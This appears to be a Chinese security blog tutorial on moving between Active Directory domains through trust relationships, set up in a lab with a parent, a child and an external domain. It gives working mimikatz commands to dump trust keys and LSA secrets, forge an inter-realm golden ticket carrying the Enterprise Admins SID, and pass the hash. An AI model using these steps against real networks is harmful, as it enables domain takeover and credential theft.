域之间渗透

0x00 介绍

大一点企业或公司,都有自己的内网系统,有着各种防护的系统,流量审计,镜像等这些系统。然而这些都是在各种域下,不同部门也是存在不同的域环境,如果拿到一个域控,就可以进行其它域的渗透。这篇文章,先讲解下域之间的关系,在利用域关系进行下一步的渗透。

 

0x01 环境搭建

  • windows 2012 (hack.com 192.168.199.151) 本文中称为A 域
  • windows 2012 (child.hack.com 192.168.199.68) 本文中称为CA 域
  • windows 2008 (localtest.com 192.168.199.129) 本文中称为B 域

A域与CA域是”within forest“ 关系,内部信任是可以传递,这里子域的信任搭建很简单,就不细说了,说一下子域的加入,在CA域的域控搭建完后,选择加入一个存在的域,然后其中有个DSRM 密码:

DSRM账户是域控的本地管理员账户,并非域的管理员帐户。所以DSRM密码同步之后并不会影响域的管理员帐户。 这里有一个DSRM 持久化 ,因为要修改注册表,我反正不喜欢用。

B域信任CA域,属于外部信任,不能传递信任关系,CA域可以访问B域中的资源,讲下这里的搭建过程:

在B域domain trusts设置外部信任后,CA域也会自动创建,可以参考这里

信任创建完过后,还要设置相应的share文件夹及可以访问的组和用户,参考这里,说一下本环境的搭建:

1.WIN10 加入CA域。

2.建立一个全局的组GCB。

3.在CA域建立一个IT OU,添加用户child-ita。

4.在B域中建立一个本地share 组,把CA域的GCB添加到这里,这里添加的时候需要输入CA的用户名和密码验证。

5.在B域的DC的C盘中建立一个share的分享文件夹,把share组的权限添加到当中。

好了,这个外部的信任搭建完成,B信任CA域,所以在CA域的GCB的用户,可以访问在B域DC中share的文件夹内容。

这里没有那些VLAN划分,网络隔离这些东西了。我简单的域环境就搭建完成了。结构图如下:

 

0x02 多个域之间关系

​ 这里涉及到kerberos 认证的过程,不清楚的可以看看我前面的文章。

​ 在client 通过AS 服务的验证过后,会得到这个client的TGT(TGT包含了当前client所属组及权限,还有其他林中域的组,例如:universal groups)。client利用TGT朝DC请求TGS,然后利用TGS向目标服务器请求访问资源。TGT的生命周期默认10小时,所以攻击者只要拿到KRBTGT的hash password就可以自己伪造签名TGT,这也就是mimikatz生成的黄金票据。这就是域的验证过程。

​ 在一个林中,CA域中的client要访问B域中的服务器的资源,先看下3个域的信任关系:

A域和CA域(就是A的子域):

B域:

拥有多个域的大多数组织都需要用户访问位于不同域中的共享资源,并且信任允许具有多个域的组织授予不同域中的用户访问共享资源的权限。域林是相互信任的域容器的集合。森林本身也可能在它们之间有信任。内部信任具有传递关系,A信任B,B信任C,所以A也是信任C的,但是外部信任不能传递。

从下图看下在不同域的访问过程:

在两个域互相信任过后,会有一个信任密码及在每个域中注册一个ticket-granting 服务,用来提供跨域的服务。在上图可以看见蓝色的第4步,得到inter-realm(由域之间信任密码生成)的加密和签名的TGT,向另一个域DC请求TGS,绿色域DC使用信任密码验证通过后,生成了客户端要访问的绿色应用服务器的TGS票据。

​ Gold Ticket中默认包含了Enterprise Admin 组的关系,而Enterprise Admin又是AD域中Administrator 组的成员。在其中还涉及到了sidHistory和SID过滤安全机制,所以攻击者可以伪造kerberos 票据来获取到域中的Enterprise Admin权限。所以下面我就来介绍下,如何利用Mimikatz 伪装 域信任票据。

 

0x03 域之间渗透

1.伪造内部信任AD林中的信任票据

​ 我这里是在子域下的一个普通用户,目标利用伪造trust key来获取AD的访问权限:

​ 1)先利用mimikatz 在域控dump出来的数据privilege::debug lsadump::trust /patch

​ 2)在利用trust key 来伪造凭证是属于EA组的,用户名可以随便填写:

kerberos::golden /domain:child.hack.com /sid:S-1-5-21-840356815-2954379092-972630321 /sids:S-1-5-21-1863527717-1245757989-2975568438-519 /krbtgt:ac51f0ddaf0246a556f1978dd12d2a0f /user:hack$ /ptt

​ 解释下这些参数怎么获取:

​ domain:当前子域,sid:当前子域SID,sids:信任域的SID,也就是父域,krbtgt:当前域的krbtgt的值,user是trust account,不确定可以使用dcsync在看下。

​ 3)misc::cmd弹出CMD窗口,你也可以导出成Ticket,在导入来获取权限。

2.访问信任域中的资源

​ 1) 在CA域的DC中,mimikatz 执行privilege::debug lsadump::lsa /patch 先获取到可以访问B域用户的ntlm

​ 2) sekurlsa::pth /user:child-ita /domain:child.hack.com /ntlm:e45a314c664d40a227f9540121d1a29d /run:powershell.exe 利用信任的用户NTLM,访问B域上的分享文件夹。

 

0x04 总结

本文先大概的介绍了域信任的关系,解释了其中用户组认证时的过程,以及涉及到的安装过程。并且利用mimikatz 在不同的信任关系下来利用用户的NTLM伪造和签名trusts ticket来获取域上的资源。在外部的信任中,只有在信任域中的组中的那些被信任域用户,才能访问到信任域中有指定权限的分享文件夹。所以在拿到域控权限的时候,lsadump::lsa /inject lsadump::trust /patch这个命令是一定要有的。

审核人:yiwang   编辑:边边

(完)